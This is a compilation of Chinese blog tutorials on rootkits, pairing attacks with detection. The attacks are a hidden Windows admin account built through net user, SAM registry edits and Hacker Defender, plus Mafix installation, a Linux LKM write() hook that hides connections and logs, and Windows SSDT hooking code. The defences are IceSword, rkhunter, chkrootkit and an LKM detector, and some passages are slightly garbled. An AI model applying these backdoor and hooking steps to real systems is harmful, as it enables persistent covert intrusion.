del_timer(&timer);
sys_call_table[SYS_chdir] = org_chdir;
}
按照这样的做法,我们需要时时刻刻都进行完整性检测才行,而不是仅仅在模块被装载或者是卸载的时候。
结论
维护系统的完整性并不是想象中的那么容易,因为绕过他们的方法有很多。需要注意的就是不相信任何不成熟,处于测试时期的程序, 特别是在你怀疑被入侵的时候,最好的办法就是停止这
个系统,从另外一个完好的系统来发现你的系统被做了什么手脚(虽然这做起来非常的麻烦)
本文讨论的程序和方法都是双刃剑,他们无论是对入侵者还是管理员来说都是强有力的东西,正如我们看到的rootshell模块,他同样可以用来控制谁可以执行什么东西。
只 要你的完整性检测的策略严谨,一般经典的root-kit都很容易被检测出来。那些基于模块的东西面临着一个新的挑战,内核的安全问题困扰着越来越多的 人,正由于这个原因,linus针对
2.5内核提出了一个关于安全性的挑战,这个想法源于大量可用的补丁(Openwall, Pax, LIDS, kernelli等等).。
无论怎样,你都要记住,一个似乎被入侵的系统不能用来检测他自己的完整性,你不能相信任何他的程序或者他提供的信息。
原文连接:http://blog.csdn.net/ikernel/archive/2006/06/18/811468.aspx
========
解析RootKit与反RootKit
Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit
后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。下面笔者结合实例解析RootKit及其反RooKit技术。
实验环境:Windows XP SP2
工具:
Hacker defende(RootKit工具)
RootKit Hook Analyzer(RootKit分析工具)
IceSword(冰刃)
一、RootKit
笔者以用RootKit进行管理员高级隐藏为例,解析RootKit技术。超级隐藏的管理员用户。
1、创建帐户
在命令提示符(cmd.exe)下输入如下命令:
net user gslw$ test168 /add
通过上面的两行命令建立了一个用户名为gslw$,密码为test168的普通用户。为了达到初步的隐藏我们在用户名的后面加了“$”号,这样在命令提示符下通过net user是看不到该用户的
,当然在“本地用户和组”及其注册表的“SAM”项下还可以看到。(图1)
创建用户名
2、用户提权
下面我们通过注册表对gslw$用户进程提权,使其成为一个比较隐蔽(在命令行和“本地用户和组”中看不到)的管理员用户。
第一步:打开注册表编辑器,定位到HKEY_LOCAL_MACHINE\SAM\SAM项。由于默认情况下管理员组对SAM项是没有操作权限的,因此我们要赋权。右键点击该键值选择“权限”,然后添加“
administrators”组,赋予其“完全控制”权限,最后刷新注册表,就能够进入SAM项下的相关键值了。
第二步:定位到注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users项,点击“000001F4”
注册表项,双击其右侧的“F”键值,复制其值,然后点击“00000404”注册表项(该项不一定相同),双击其右侧的“F”键值,用刚才复制键值进行替换其值。(图2)
用户提权
第三步:分别导出gslw$、00000404注册表项为1.reg和2.reg。在命令行下输入命令"net user gslw$ /del"删除gslw$用户,然后分别双击1.reg和2.reg导入注册表,最后取消
administrators对SAM注册表项的访问权限。
这样就把gslw$用户提升为管理员,并且该用户非常隐蔽,除了注册表在命令下及“本地用户和组”是看不到的。这样的隐藏的超级管理员用户是入侵者经常使用的,对于一个水平不是很
高的管理员这样的用户他是很难发现的。这样的用户他不属于任何组,但却有管理员权限,是可以进行登录的。
3、高级隐藏用户
综上所述,我们创建的gslw$用户虽然比较隐蔽,但是通过注册表可以看见。下面我们利用RootKit工具进行高级隐藏,即在注册表中隐藏该用户。
在Hacker defende工具包中也很多工具,我们隐藏注册表键值只需其中的两个文件,hxdef100.exe和
hxdef100.ini。其中hxdef100.ini是配置文件,hxdef100.exe是程序文件。打开hxdef100.ini文件定位到[Hidden RegKeys]项下,添加我们要隐藏的注册表键值gslw$和00000404即用户在
注册表的项然后保存退出。(图3)
高级隐藏用户
然后双击运行hxdef100.exe,可以看到gslw$用户在注册表中的键值“消失”了,同时这两个文件也“不见”了。这样我们就利用RootKit实现了高级管理员用户的彻底隐藏,管理员是无
从知晓在系统中存在一个管理员用户的。(图4)
二、反RootKit
那是否意味着我们就无能为力呢?俗话说“邪不胜正”,与RootKit就有反RootKit。我们就以该管理员为例进行演示。
1、RootKit Hook Analyzer驱动分析
RootKit Hook Analyzer是一款Rookit分析查询工具,利用它可以扫描分析出系统中存在的RooKit程序。该工具是英文程序,安装并运行点击其界面中下方的“Analyze”按钮就可以进行
扫描分析,列出系统中的RooKit程序,勾选“Show hooked services only”就可以进行筛选值列出RooKit services。(图5)
RootKit Hook Analyzer驱动分析
2、IceSword进程查看
运行IceSword,点击“进程”按钮,就可以列出当前系统中的进程,其中红色显示的是可疑进程。我们可以看到hxdef100.exe进程赫然其中,这真是我们刚才运行的RootKit。在该进程上
点击右键选择“结束”进程。这时hxdef100.exe和hxdef100.ini文件显身了,再刷新并查看注册表,刚才消失的两个键值有重现了。(图6)
IceSword进程查看
3、专业工具查杀
利用IceSword进行RooKit的分析和并结束其进程不失为反RooKit的一种方法,但有的时候冰刃并不能分析出RootKit,因此我们就要比较专业的工具。比如卡巴斯基、超级巡警等都是不错
的选择。(图7)
专业工具查杀
总结:本文以利用RootKit工具进行帐户的隐藏为例解析了其基本的运行机制,并结合上面的实例演示了反RootKit的方法。当然,RootKit的形式是非常多样的,但是其原理和防范措施都
大同小异,希望这篇文章对大家防范RootKit有所帮助。
========
对于RootKit的一次假想渗透及防护
一直听闻FreeBuf里面大牛云集,大神级黑客数不胜数,纠结很久到底要不要露脸写一篇文章,水平有限,学术不精,只是凭在网络中打拼得来的些许经验来跟大家谈一谈Rootkit,如有勘误
还望海涵并指出。
这篇文章差不多写了一周,后来又断断续续改了一周,最终决定发上来露露脸,顺便求些FB金币。
Abstract
虽然Open Source思想让Linux拥有了坚不可摧的代码,但后门也许就存在于不小心的一次鼠标点击,不管你是否相信,但安全问题影响到你的每一天。
白帽和黑帽如同一对形影不离的智者,他们通过互相提出古怪的难题来刁难对方从而获得精神层次的乐趣,而旁观者虽然看得清,但却感受不到对决时那种刺激的快感,那么本文将尽全身之
力以故事为载体为读者模拟出一场扣人心弦的黑客之战。
第一章 初 探
1.1 知己知彼
小黑是一名黑客高手并能够熟练使用各种黑客工具,最吸引他的是机房网管小白那台私人服务器里面那些珍贵的数据和最高ROOT权限。
小白是一名彻头彻尾的白帽,平时着迷于研究安全运维技术,最珍贵的就是自己那台私人服务器,誓死保卫不让其他人使用。
1.2 笑里藏刀
那台诱人的服务器每天在小黑的脑子中飘荡,最终忍不住了,走到了小白办公室以不能从服务器共享文件夹中复制文件为由让网管小白检查检查服务器,看看是不是出现了什么问题。
小白随即来到了小黑办公室,试了试下载共享文件确实不能用了,于是远程登陆服务器查看究竟,发现也不能登陆。。。最终发现是电脑网线没插。
其实小黑背地里将自己笔记本安装了键盘记录器,赶紧打开查看成果,如图:
1.3 反客为主
虽然被数落了几句电脑白痴,但已经完全不往心里去了,但大喜过后是诅丧,竟然是一个低权限普通帐号,看来网管小白的安全专家称号也不是浪得虚名,管理服务器竟然那么小心,日常也
不用root登陆,唉,不过好在上学时间里通过机房的堡垒试验机学习过怎么在Linux下提权,因为过程稍微复杂并且不是文章的重点所以省略,但已做视频教程,详见感谢页的。
第二章 理论
经过前面的故事,终于终于要开始本文最核心的技术点——RootKits,接下来的一章我将继续会以故事为载体将理论和实战结合在一起论述并加以分析
2.1 工具介绍
既然小黑已经拿到了管理员的权限,下一步就是让自己能够长期的使用这台服务器,于是想到了Rootkits工具集。
Rootkits是linux/unix获取root权限之后使得攻击者可以隐藏自己的踪迹和保留root访问权限的神器,通常攻击者使用 rootkit的检查系统查看是否有其他的用户登录,如果只有自己,攻击
者就开始着手清理日志中的有关信息,通过rootkit的嗅探器还可以获得其他系统的用户和密码!
目前常用的有:t0rn /mafix/enyelkm 等等。
2.2 功能实现
Rootkits通常分为:应用级别—内核级别—-硬件级别,早期的是rootkit主要为应用级rootkit通过替换login、ps、ls、netstat等系统工具或修改.rhosts等系统配置文件等实现隐藏后门,
硬件级RootKits主要是指Bios Rootkits,能够在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权也可以采用虚拟机技术,使整个操作系统运行在
rootkit掌握之中,目前常见的rootkit是内核级rootkit,通过直接修改内核来添加隐藏代码实现控制系统的功能。
2.3 偷梁换柱
最为简单实用的应用级别Rootkit是通过将添加过提权代码的命令替换系统中原始的命令来实现功能的,并且一般提供清理工具删除wtmp、utmp、lastlog等日志文件中自己的行踪,并且复杂
点的rootkit还可以向攻击者提供telnel、shell和finger等服务
第三章 侵入
3.1 Maxfix
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
3.1.1 安装使用
小黑此时已经压抑不住内心的激动心情,赶紧下载Mafix,解压如图:
查看帮助文件后开始安装,格式为:.root 密码 端口,如下图:
因为还考虑到以后都要远程访问,所以再加上一条给防火墙的命令,让小黑可以自由的穿行于服务器之间。
这时在小黑本机打开Putty,输入:ssh 192.168.10.30 12345,进行连接.(图)
并且现在的登陆帐号已经变成了root.
3.1.2 理论思考
那么我来简单分析下Mafix是如何实现功能的,先看压缩包中的代码(如果全贴上。。估计就要8000字了,所以我就简单找一段吧):
# dir ... //注释.此段为对dir命令的操作
If [ -f /usr/bin/dir ]; then //判断/usr/bin/dir命令是否存在,若存在则
chattr -isa /usr/bin/dir //将命令的附加权限去掉
cp/usr/bin/dir $BACKUP //将命里复制到$BACKUP目录中
mv -f dir /usr/bin/dir 2>/dev/null
//将压缩包中的”dir命令”,并不显示过程给用户
chattr +isa /usr/bin/dir
//添加附加权限.不允许再做修改
Fi //结束
那么此时已经很清楚了,其实Mafix就是很典型的应用级Rootkit,是批量替换系统命令来实现的,但因为要替换大量系统命令所以需要root用户才可以使用。
iftest -n "$1" ; then //如果设置了密码
echo"${CYN}mafix!${DMAG} > ${CYN} Password:${DMAG} $1${RES}"//则按照此格式输出
cd$BASEDIR/bin
echo-n $1|md5sum > /etc/sh.conf //生成密码文件
else
echo"${CYN}mafix!${DMAG} > ${CYN} Password:${DMAG} $DEFPASS${RES}"
echo-n $DEFPASS|md5sum > /etc/sh.conf //使用md5加密并写入文件
fi
touch-acmr /bin/ls /etc/sh.conf
chown-f root:root /etc/sh.conf
chattr+isa /etc/sh.conf //写保护
上面的代码是按照用户的需求设置了监听密码,从中也可以得知密码是经过md5加密的,并保存在/etc/sh.conf且进行了写保护操作,如下图。
第四章 加固
这几天网管小白总是接到投诉说服务器登陆不上去,上传下载文件速度也非常慢,因为外网流量突然飙升,大量数据流入机房,其实小白也有察觉,仔细检查History记录发现出现了很多wget
命令,点进去一看竟然是用公司的服务器下载黑客教程,肯定是小黑搞的!那找他算账之前,得先把后门给补上。
4.1 Rkhunter
Rkhunter的中文名叫“Rootkit猎手”, 目前可以发现大多数已知的rootkits和一些嗅探器以及后门程序. 它通过执行一系列的测试脚本来确认服务器是否已经感染rootkits. 比如检查
rootkits使用的基本文件, 可执行二进制文件的错误文件权限, 检测内核模块等等。
4.1.1 安装使用
小白首先从网络上下载到Rkhunter,然后解压,如下图
进入解压后的目录,执行.installer.sh–install 自动化安装,如下图:
安装后就可以使用rkhunter命令了,下面列出有用的参数:
--checkall (-c) :全系统检测,rkhunter 的所有检测项目
--createlogfile :建立登录档,一般预设放在/var/log/rkhunter.log
--skip-keypress :忽略按键后继续的举动(程序会持续自动执行)
--versioncheck :检测试否有新的版本在服务器上
接下来运行rkhunter –checkall,连续敲击回车,数分钟后得到报表,如图:
从报表中可以看出,出现了很多可疑文件并且列出了rootkit的类型。
4.1.2 深入研究
Rkhunter拥有并维护着一个包含rootkit特征的数据库,然后它根据此数据库来检测系统中的rootkits,所以可以对此数据库进行升级,rkhunter–update
Rkhunter在进行检查时同时把相应的信息写到了日志中,并提示了其位置是:/var/log/rkhunter/rkhunter.log
那么简单来讲,RKhunter就像我们的杀毒软件,有着自己的病毒数据库,对每一个重点命令进行比对,当发现了可疑代码则会提示用户。
4.2 Chkrootkit
当然如果只是用Rkhunter检查扫描还是不够权威,再来安装一款检查下吧,chkrootkit 是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、
utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(maliciouskernel modules)。
4.2.1 安装使用
小白先从网络上下载到chkrootkit资源包,在服务器中解压,如下图:
接下来使用命令make sense 来安装软件,如下图:
运行命令./chkconfig | grep INFECTED,搜索被感染的文件,如下图:
4.2.2 深入研究
### workaround for some Bourne shell implementations
unalias login > /dev/null 2>&1
unalias ls > /dev/null 2>&1
unalias netstat > /dev/null 2>&1
unalias ps > /dev/null 2>&1
unaliasdirname > /dev/null 2>&1
上面的代码是将系统中已存在的别名命令取消,防止已经被篡改使得检测结果不准确。
# Native commands
TROJAN="amd basename biff chfn chsh cron date du dirname echo egrepenv find \
fingerd gpm grep hdparm su ifconfig inetd inetdconf identd init killall \
ldsopreload login ls lsof mail mingetty netstat named passwd pidof pop2pop3 \
ps pstree rpcinfo rlogind rshd slogin sendmail sshd syslogd tar tcpd \
tcpdump top telnetd timed traceroute vdir w write"
# Tools
TOOLS="aliens asp bindshell lkm rexedcs sniffer w55808 wted scalperslapper z2 chkutmp"
上面的代码中则是定义了需要检查的命令和工具,用户则也可以自行添加。
4.3 加固方案
通过上面两款工具的检查,网管小白已经确信了服务器被入侵的事实,但已经考虑到核心级rootkits是使用了LKM技术,而且系统中已经有大量的数据被修改且一般的木马后门隐蔽性毕竟高,
为了保险起见还是要重新做系统。
1. 将服务器的网络线及时拔除(必要时报告部门经理)。
2. 备份重要资料数据,并多份保存防治丢失。
3. 重新安装系统后,网管小白吸取了教训,既然只是共享文件,则将防火墙设置为只开放20、21、22端口,其余的全部屏蔽,并修改了自己所有的密码,不再告诉别人。
第五章 LKM技术
文中使用的工具mafix是应用级别的rootkit,那么再来补充核心级rootkit的LKM隐藏技术吧,木马最大的特性就是隐蔽性,不能轻易让人察觉,所以隐藏木马相关信息是关键的因素。对于
Linux操作系统来说,主要有静态隐藏和动态隐藏两个标准。
静态隐藏是指木马文件的隐藏,用“ls”命令看不见我们的木马服务端程序。动态隐藏是指当木马运行时,进程和通讯端口的隐藏,如用“ps –A”命令不能找到木马进程,用“netstat -
at”命令不会显示木马端口的通讯情况等。
由于Linux本身的安全性,想利用外壳程序隐藏木马文件和进程不可能实现,所以就借要通过修改Linux内核的系统调用来隐藏木马相关信息,这就是LKM技术。
LKM就是可装载内核模块(Loadable Kernel Modules)。这些模块本来是Linux系统用于扩展其功能的。
当LKM被载入内核,就能修改内核变量,重载内核函数,轻易得实现扩充或裁减操作系统内核的某些功能。同时动态的载入模块还意味着能留给用户程序更多的内存。由于这些优点,他们常常
被特殊的设备或者文件系统(例如声卡、打印机等)使用。
对于众多的系统调用,不需要全部劫持,只需要劫持系统管理员用于查看文件、进程、网络连接等命令用到的关键系统调用即可。下面分析LKM后门在设计时主要截获哪些关键的系统调用。
在用户空间执行每个命令都是调用内核的某些系统调用完成。比如用“ls”这个命令来查看当前目录信息,就会调用open()、gendents64()、write()等系统调用。如果能截获write()这个调
用,修改它的输出,那么现在的输出信息就不是真正的系统信息。LKM技术最大的特点就是截获并修改多个系统调用,从而改变整个系统响应。看一个截获write()系统调用的例子。
netstat命令用于查看网络连接状况,显示命令结果会用到write()系统调用。在截获前,命令netstat –at的输出为:
从输出中看出本机IP为“192.168.0.253”,另一个IP为“192.168.0.42”的用户通过telnet连接到了本机。现在利用一个LKM来截获write()系统调用,目的是把含有“192.168.0.42”这个字
符串的信息屏蔽掉,从而实现隐藏网络连接的功能。关键代码如下:
int new_write( unsigned int fd, char *buf, unsigned int count )
{
char *k_buf;
char *hideinfo=”192.168.0.42”; //想隐藏的信息
k_buf=(char*)kmalloc(256,GFP_KERNEL);
memset(k_buf,0,256);
copy_from_user(k_buf,buf,255)
if(strstr(k_buf,hideinfo))
{
kfree(k_buf);
return count;
}
kfree(k_buf);
return real_write(fd,buf,count);
}
加载这个LKM后,write()系统调用就被换成了new_write():判断输出中是否含有“192.168.0.42”这个字符串,如果有,什么都不做,否则返回真正的write()调用。现在再来看命令netstat
–at的输出(如下图):
加载LKM后netstat命令输出
成功隐藏!再查看/etc/log的登录记录,从“192.168.0.42”远程登录的记录也没了。
这就是LKM后门截获系统调用的威力。现在无论管理员用哪个命令,只要这个命令会用到write()系统调用,就不会显示含有“192.168.0.42”这个字符串的信息。这样既能隐藏当前的网络连
接,又能擦除曾经登录而留在系统日志里的痕迹。
所以在Adore rootkit等后门中都实现了对write()系统调用的截获,隐藏hacker的足迹。当然也可以用别的方式来修改这个输出,比如说把“192.168.0.42”改成“255.255.255.0”等任何你
想修改成的IP地址来蒙骗管理员。
安全加固方案
Linux在结构分为两层,即内核与核外程序。
rootkits要从核外程序发起对Linux内核的攻击和破坏,从机制上来说是不可能的。它唯一可利用的就是LKM方法。因此,Linux后门工具检测器必须严守这道防线,保护系统内核不被攻击和篡
改。
那么下面的检测代码会提供两种保护内核方式。
第一种方式可称作“单模块内核”方式,即系统在启动之后不允许任何人加载程序模块到内核中。这种办法虽然保证了内核的绝对安全,但同时对系统功能的扩充和开发也带来了不便。这种
“单模块内核”方式适用于不准备进行任何系统扩充和开发的应用场合。
第二种方式可称作“带安全检测的LKM”方式,这种方式适用于进行软件研发工作的应用环境。具体步骤是当系统启动完毕之后,首先为系统加载LKM检测器,由它来负责管理、监控随后所有
的LKM活动。
要加载一个模块,必须使用命令insmod ,利用strace 命令会发现它用到了create_module( )这个系统调用,如果能截获create_module( )系统调用,那么任何LKM的加载都将受到控制。
对于“单模块内核”方式只要将create_module()修改成空函数就可以了。而对于“带安全检测的LKM”方式则要做一定的修改。
检测器的模块检测机制:记录每一个新加载的模块
利用LKM记录每一个新加载模块的名字。在调试LKM时有这样的经验:
文件/proc/kmsg记录了所有内核模块的printk( )输出。可以这样考虑:截获create_module( )系统调用,让它在加载每个LKM后将模块的名字记录在文件/root/log_lkm。那么内核模块的一举
一动都在系统管理员的监视之下。
下面是截获这个系统调用的关键代码:
int new_create_module( char *name, unsigned long size )
{
char *k_buf;
int ret =orig_create_module( name, size );
k_buf = (char*) kmalloc(256, GFP_KERNEL );
copy_from_user(k_buf, name, 255);
open = sys_call_table[ SYS_open ];
write = sys_call_table[ SYS_write ];
close = sys_call_table[ SYS_close ];
int fd;
char filename[ ] = "/root/log_lkm";
mm_segment_told_fs_value = get_fs( );
set_fs( get_ds( ));
fd = open(filename, 0100 | 02 | 02000 , 0640);
write(fd, k_buf,sizeof(k_buf) );
close( fd );
set_fs( old_fs_value );
return ret;
}
现在往内核里加载任意一个LKM,在/root/log_lkm里都记录下这个模块的名字。
这样,系统管理员只需关注/root/log_lkm,就可以发现并删除任何非法的LKM。之所以不直接输出到/proc/kmsg中,是因为凭借网络小白对小黑的了解,知道如果他使用了核心级的rootkit那
么必然也能通过查看/proc/kmsg发现自己是否留下足迹,如果有记录则会通过别的方法擦除这个记录,毕竟小黑现在也有系统的最高权限。
检测器的系统调用检测机制:记录系统调用地址改变
LKM后门工具的实现均是通过修改系统调用,这必然导致系统调用地址的改变,通过检测这些地址的改变情况,就能判断系统是否被加载了LKM后门。
检测前先将未修改时的地址保存起来(不妨就保存在log_lkm中),然后利用另一个LKM来记录现在所有系统调用的地址,为了对比方便,把现在的系统调用地址存在/root目录下的另一个文件
log_syscall里,记录现在系统调用地址的LKM关键代码如下:
int init_module( void )
{
open = sys_call_table[ SYS_open ];
write = sys_call_table[ SYS_write ];
close = sys_call_table[ SYS_close ];
int j, fd;
char filename[ ] = "/root/log_syscall";
char addr[9];
mm_segment_t old_fs_value = get_fs( ) ;
set_fs( get_ds( ));
fd = open( filename, 0100 | 02 | 02000 , 0640);
for ( j = 0; j < 240; j ++ )
{
sprintf(addr,”%x\n”,sys_call_table[j]);
write(fd, addr, sizeof(addr)) ;
}
close( fd );
set_fs( old_fs_value );
return 0;
}
将这两个LKM加载到内核后,在log_lkm里记录了前240个系统调用最初的地址和后来加载的模块名字,在log_syscall里记录了现在的系统调用的地址。通过对比,如果某些系统调用的地址发
生改变,那么毫无疑问,系统已经被攻击者(小黑)加载了LKM后门。
系统管理员现在应该分析文件log_lkm里新加载模块记录,找到是哪个LKM引起了系统调用地址的改变,从而确定出LKM后门模块。
需要指出的是,LKM后门工具往往只修改几个关键的系统调用。因此这个LKM可以简化为只检测几个重要系统调用的地址改变情况。
这些重要的系统调用是:getdents64( )、kill( )、read( )、write( )、fork()、clone( )、execve( )、getuid( )、query_module( )。
检测器的隐藏机制
为了让这个检测器更安全、有效的运行,还必须将它隐藏起来,即隐藏模块本身和文件log_lkm,log_syscall。
为了让检测器始终在内核中运行,不会因为系统重启而被“踢出”内核,管理员必须把载入这个检测器的行为放到系统的启动序列中。简单的方法就是在/etc/rc.local中加入一行:insmod
LKM.o,来实现每次系统启动都会加载这个LKM检测器。
第六章 总结
如果只是一篇枯燥的论文,那也就是从网络上复制点技术文章粘进来凑凑字数,所以本文以一个被入侵的故事为载体,入侵者小黑使用mafix工具入侵服务器,而网管小白则使用了两款工具:
rkhunter以及chkrootkit
========
Rootkit技术之内核钩子原理
我们知道,应用程序总是离不开系统内核所提供的服务,比如它要使用内存的时候,只要跟操作系统申请就行了,而不用自己操心哪里有空闲的内存空间等问题,实际上,这些问题是由操作系统的内核来代劳的。站在黑客的角度讲,如果能够控制内核,实际上就是控制了内核之上的
我们知道,应用程序总是离不开系统内核所提供的服务,比如它要使用内存的时候,只要跟操作系统申请就行了,而不用自己操心哪里有空闲的内存空间等问题,实际上,这些问题是由操作系统的内核来代劳的。站在黑客的角度讲,如果能够控制内核,实际上就是控制了内核之上的各种应用程序。本文将向您介绍如何建立内核级钩子来控制操作系统向上提供的各种低级功能。有了内核级钩子,我们不但能够控制、监视其他程序并过滤有关数据,还能用其实现Rootkit本身及其它程序的隐形。
本文首先回顾系统调用表和内存保护方面的知识,然后讲解如何实现内核钩子,最后对一些重要的内核函数进行了简要的说明。
一、系统调用表
系统调用表又称系统服务表或者服务描述符表,是Windows 内核在进行各种系统操作时所需的一个函数指针表。也就是说,这个表中存放的是提供系统服务的各种函数的地址。当然,该表所指向的都是系统自身的一些函数,但是,如果我们对它做了手脚后,就可以让它指向我们自己的函数。这正是本文要讲解的重点。
读者一定要注意,修改系统调用表及替换内核函数时,会对系统全局产生影响,稍有不慎就会导致系统崩溃。所以,下手之前,最好对表中的各个函数要有足够的认识,然后才好用我们自己的函数替换这些内核函数的方法。你对它们了解得越多越深,在实现内核钩子的时候就越顺手。但话又说回来,这个系统调用表中的表项实在是太多了,有的指向字符串操作,有的指向客户机/服务器操作,等等。所以要在短时间内了解所有表项是不可能的,所以下文中对它们只做有选择的、概括的介绍。
二、内存保护
现代的Windows操作系统通常将系统调用表所在内存页设为只读来提供保护。如果不能克服这个问题,实施内核钩子技术就是痴人说梦。因为试图向只读内存写入数据也即修改只读内存区时,立刻就会蓝屏。为此,先让我们来了解一下内存保护方面的有关知识。
内存描述符表是内存保护的一大关键,具体定义详见微软DDK中的ntddk.h头文件,我们这里仅做简要介绍:
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_FREE_EXTRA_PTES 0x0200
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
#define MDL_MAPPING_FLAGS (MDL_MAPPED_TO_SYSTEM_VA | \
MDL_PAGES_LOCKED | \
MDL_SOURCE_IS_NONPAGED_POOL | \
MDL_PARTIAL_HAS_BEEN_MAPPED | \
MDL_PARENT_MAPPED_SYSTEM_VA | \
MDL_SYSTEM_VA | \
MDL_IO_SPACE )
内存描述符表(MDL)的作用是将虚拟内存映射成物理页。如果将系统调用表所在内存页的MDL的MDLFlags成员设为MDL_MAPPED_TO_SYSTEM_VA 并且该页面被锁定的话,那么就可以使用内核钩子技术了。以下代码将可以达此目的:
#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
PVOID* NewSystemCallTable;
PMDL pMyMDL = MmCreateMdl( NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
好了,我们现在可以通过NewSystemCallTable来新建系统调用表了。系统调用表如下图所示。
图1 系统调用表示意图
进行挂钩时,可以使用以下宏:
#define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook 1)
#define HOOK(functionName, newPointer2Function, oldPointer2Function ) \
oldPointer2Function = (PVOID) InterlockedExchange( (PLONG)
&NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)
#define UNHOOK(functionName, oldPointer2Function) \
InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)]
, (LONG)
oldPointer2Function)
使这些宏后,钩子技术会变得更简单,也更安全。因为InterlockedExchange 是原子函数,不会要求中止中断,所以交换指针的方式是安全的;另外,它也不需要用一个宏挂钩之后用另一个宏卸载钩子,所以也更方便。下图向我们展示了拦截系统调用表的过程。
图2 系统调用表拦截技术示意图
系统调用表数据结构KeServiceDescriptorTable不仅含有ntdll.dll 的全部函数指针,还存有系统调用表的基地址和表的大小,当建立我们自己的内存描述符表的时候,这些信息是不可或缺的。利用MDL_MAPPED_TO_SYSTEM_VA 标志,我们可以建立一个不可页出(即不会被换到内存之外)的MDL ,这样我们就可以将其锁定,并把返回的地址用于我们自己的系统调用表,重要的是,这个系统调用表是可写的。
三、定义钩子函数
内核钩子主要有三部分组成:要钩取的函数(在下文中称为目标函数)、替代要钩取的函数的函数(在下文中成为钩子函数)和系统调用表。前面部分介绍了系统调用表的问题,下面开始介绍钩子函数。一般说来,当定义自己的钩子函数时,可以先到DDK 的头文件中找到所想要的函数的原型,然后,稍加修改就能把目标函数变成钩子函数了。
例如,ZwMapViewOfSection 是一个内核函数,允许应用程序把从动态链接库导出的函数映射至内存。如果我们想要钩住这个内核函数,那么可以到ntddk.h头文件中查看其函数原型,如下所示:
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect );
有了函数原型,我们就可以确定指向目标函数的指针了,如下所示:
typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect );
ZWMAPVIEWOFSECTION OldZwMapViewOfSection;
钩子函数如下所示:
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
DbgPrint("comint32: NewZwMapViewOfSection called.");
//我们可以对输入为所欲为,既可以马上返回,也可以继续执行原函数
status = OldZwMapViewOfSection(SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// 我们可以在此对输出为所欲为,想返回什么,就返回什么
return status;
}
好了,钩子技术的三大件已经准备好了。现在,我们就可以像下面这样使用它们:
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
如果你打算使用DriverUnload ()的话,可千万不要忘了卸载钩子。
四、内核函数系列
经过上面的介绍,我们已经了解了系统调用表有关知识,也已知道如何拦截系统调用表中的函数,下面,我们再来了解一下我们要钩取的函数:目标函数。这方面,如果我们不仅了解系统调用表中有哪些函数,还知道这些函数的工作机制就最好了。但实际上,ntdll.dll 中的导出函数有好几百个,别说一个一个的探究,就是把它们都列出来,看着看着头都大了。幸运的是,我们不必了解每个函数,只要了解其所在的系列就行了。为什么这么说?因为微软已经按照函数的功能对Ntdll.dll的导出函数进行了分组,并冠以意义明确的前缀,所以根据函数系列的前缀就能明白它们的大体功能了。下面对这些函数系列进行简单的介绍:
